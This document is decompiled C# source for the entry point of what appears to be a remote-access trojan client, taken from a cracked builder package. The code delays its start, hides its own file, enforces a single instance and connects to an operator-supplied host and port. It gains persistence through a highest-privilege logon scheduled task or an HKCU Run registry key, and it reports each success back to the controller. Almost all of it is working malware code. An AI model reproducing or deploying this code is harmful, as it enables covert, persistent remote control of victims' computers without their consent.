157 lines
4.6 KiB
C#
157 lines
4.6 KiB
C#
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: Program
|
||
|
|
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
|
|
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||
|
|
|
||
|
|
using Microsoft.Win32;
|
||
|
|
using Stuff;
|
||
|
|
using System;
|
||
|
|
using System.Diagnostics;
|
||
|
|
using System.IO;
|
||
|
|
using System.Reflection;
|
||
|
|
using System.Security.Principal;
|
||
|
|
using System.Threading;
|
||
|
|
using System.Threading.Tasks;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
|
||
|
|
#nullable disable
|
||
|
|
internal static class Program
|
||
|
|
{
|
||
|
|
public static SillyClient client;
|
||
|
|
|
||
|
|
[STAThread]
|
||
|
|
private static void Main(string[] args)
|
||
|
|
{
|
||
|
|
if (args.Length >= 2)
|
||
|
|
{
|
||
|
|
Config.Mutex = Helpers.Random(30);
|
||
|
|
Config.ht = args[0];
|
||
|
|
Config.pt = Convert.ToInt32(args[1]);
|
||
|
|
}
|
||
|
|
Application.ThreadException += (ThreadExceptionEventHandler) ((s, e) => Program.LogError("UI Thread", e.Exception));
|
||
|
|
AppDomain.CurrentDomain.UnhandledException += (UnhandledExceptionEventHandler) ((s, e) => Program.LogError("Unhandled", e.ExceptionObject as Exception));
|
||
|
|
TaskScheduler.UnobservedTaskException += (EventHandler<UnobservedTaskExceptionEventArgs>) ((s, e) =>
|
||
|
|
{
|
||
|
|
Program.LogError("Task", (Exception) e.Exception);
|
||
|
|
e.SetObserved();
|
||
|
|
});
|
||
|
|
Application.EnableVisualStyles();
|
||
|
|
Application.SetCompatibleTextRenderingDefault(false);
|
||
|
|
Thread.Sleep(Config.Delay * 1000);
|
||
|
|
if (Config.HideFile)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
HideClient.Execute();
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Program.LogError("HideFile", ex);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
if (!MutexControl.CreateMutex())
|
||
|
|
Environment.Exit(0);
|
||
|
|
try
|
||
|
|
{
|
||
|
|
Program.client = new SillyClient();
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Program.LogError("Client Init", ex);
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
Task.Run((Action) (() =>
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
Program.client.Connect();
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Program.LogError("Connect", ex);
|
||
|
|
}
|
||
|
|
}));
|
||
|
|
Task.Run((Func<Task>) (async () =>
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
await Task.Delay(3000);
|
||
|
|
if (args.Length != 0)
|
||
|
|
{
|
||
|
|
Pack pack = new Pack();
|
||
|
|
pack.SetString("Packet", "PluginMessage");
|
||
|
|
pack.SetString("Message", "This client was shared to you from someone");
|
||
|
|
Program.client.Send(pack.Pacc());
|
||
|
|
}
|
||
|
|
if (!Config.Startup)
|
||
|
|
return;
|
||
|
|
string location = Assembly.GetExecutingAssembly().Location;
|
||
|
|
Program.AddToStartup(Path.GetFileNameWithoutExtension(location), location);
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Program.LogError("StartupTask", ex);
|
||
|
|
}
|
||
|
|
}));
|
||
|
|
Application.Run(new ApplicationContext());
|
||
|
|
}
|
||
|
|
|
||
|
|
private static void LogError(string context, Exception ex)
|
||
|
|
{
|
||
|
|
Console.WriteLine(context + ex.Message);
|
||
|
|
}
|
||
|
|
|
||
|
|
public static bool IsAdmin()
|
||
|
|
{
|
||
|
|
using (WindowsIdentity current = WindowsIdentity.GetCurrent())
|
||
|
|
return new WindowsPrincipal(current).IsInRole(WindowsBuiltInRole.Administrator);
|
||
|
|
}
|
||
|
|
|
||
|
|
public static void AddToStartup(string name, string path)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
if (string.IsNullOrWhiteSpace(name) || string.IsNullOrWhiteSpace(path))
|
||
|
|
return;
|
||
|
|
path = Path.GetFullPath(path);
|
||
|
|
if (Program.IsAdmin())
|
||
|
|
{
|
||
|
|
using (Process process = Process.Start(new ProcessStartInfo("schtasks")
|
||
|
|
{
|
||
|
|
Arguments = $"/create /tn \"{name}\" /sc ONLOGON /tr \"\\\"{path}\\\"\" /rl HIGHEST /f",
|
||
|
|
UseShellExecute = false,
|
||
|
|
CreateNoWindow = true,
|
||
|
|
RedirectStandardError = true,
|
||
|
|
RedirectStandardOutput = true
|
||
|
|
}))
|
||
|
|
{
|
||
|
|
process.WaitForExit();
|
||
|
|
if (process.ExitCode == 0)
|
||
|
|
{
|
||
|
|
Pack pack = new Pack();
|
||
|
|
pack.SetString("Packet", "Success");
|
||
|
|
pack.SetString("Message", "Startup task created successfully (Task Scheduler)");
|
||
|
|
Program.client?.Send(pack.Pacc());
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true))
|
||
|
|
{
|
||
|
|
if (registryKey == null)
|
||
|
|
return;
|
||
|
|
registryKey.SetValue(name, (object) $"\"{path}\"", RegistryValueKind.String);
|
||
|
|
Pack pack = new Pack();
|
||
|
|
pack.SetString("Packet", "Success");
|
||
|
|
pack.SetString("Message", "Startup registry key added successfully");
|
||
|
|
Program.client?.Send(pack.Pacc());
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Program.LogError(nameof (AddToStartup), ex);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|